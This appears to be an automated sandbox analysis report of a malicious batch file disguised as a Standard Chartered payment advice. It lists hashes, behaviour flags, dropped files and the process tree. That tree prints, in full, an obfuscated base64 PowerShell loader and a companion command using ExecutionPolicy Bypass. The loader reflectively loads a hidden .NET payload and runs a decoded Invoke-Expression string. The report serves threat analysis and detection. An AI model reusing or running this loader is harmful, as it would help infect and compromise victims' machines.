Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-03-2024 01:39

General

  • Target

    Standard Chartered PAYMENT _ADVICE_MT_106.bat

  • Size

    192KB

  • MD5

    0ee6662615731ffcd198cb8f41c4a212

  • SHA1

    9e6020aa1086720f6eebb7ccb9538e3f70bb7234

  • SHA256

    a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5

  • SHA512

    b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a

  • SSDEEP

    3072:N/4wIRm6CsFo1CH22h7sC/eeLmd5wsFbZuZemHY2tWiVqd5JSH9hxnAK3irrdtJ0:iusFJh3Sd5tru1HVUAAK34rdtW

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1868
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    Filesize

    7KB

    MD5

    4cbb991ce1b8db1f4bdb774aa8b1263a

    SHA1

    6aa41c80c427a3b31be6021f205c5a213001d52c

    SHA256

    b0e6582d8ea4abdd97ece00f6110f1ec5b11273a2087a2857bf9bdd39c72d347

    SHA512

    8e2832b3ffa1425b32382513b0251b56e49d9cf57ab4f2c4ae802e47128f2fa0ae7bf022203bd64044d20b49c7facd785fa623aebc6cccff09cee9646fe4918a

  • C:\Users\Admin\chrome.bat
    Filesize

    192KB

    MD5

    0ee6662615731ffcd198cb8f41c4a212

    SHA1

    9e6020aa1086720f6eebb7ccb9538e3f70bb7234

    SHA256

    a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5

    SHA512

    b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a

  • C:\Users\Admin\chrome.ps1
    Filesize

    1KB

    MD5

    1d6288e218ce9fed4e703ef5aa2e6c08

    SHA1

    39c5fbc0b8931bab67c40dc3f45be696ea3beb90

    SHA256

    d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

    SHA512

    c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

  • memory/1868-6-0x0000000001F70000-0x0000000001FB0000-memory.dmp
    Filesize

    256KB

  • memory/1868-5-0x00000000744E0000-0x0000000074A8B000-memory.dmp
    Filesize

    5.7MB

  • memory/1868-7-0x0000000001F70000-0x0000000001FB0000-memory.dmp
    Filesize

    256KB

  • memory/1868-9-0x00000000744E0000-0x0000000074A8B000-memory.dmp
    Filesize

    5.7MB

  • memory/1868-4-0x00000000744E0000-0x0000000074A8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2676-15-0x0000000074490000-0x0000000074A3B000-memory.dmp
    Filesize

    5.7MB

  • memory/2676-18-0x0000000000590000-0x00000000005D0000-memory.dmp
    Filesize

    256KB

  • memory/2676-17-0x0000000000590000-0x00000000005D0000-memory.dmp
    Filesize

    256KB

  • memory/2676-16-0x0000000074490000-0x0000000074A3B000-memory.dmp
    Filesize

    5.7MB

  • memory/2676-21-0x0000000074490000-0x0000000074A3B000-memory.dmp
    Filesize

    5.7MB

  • memory/2676-22-0x0000000074490000-0x0000000074A3B000-memory.dmp
    Filesize

    5.7MB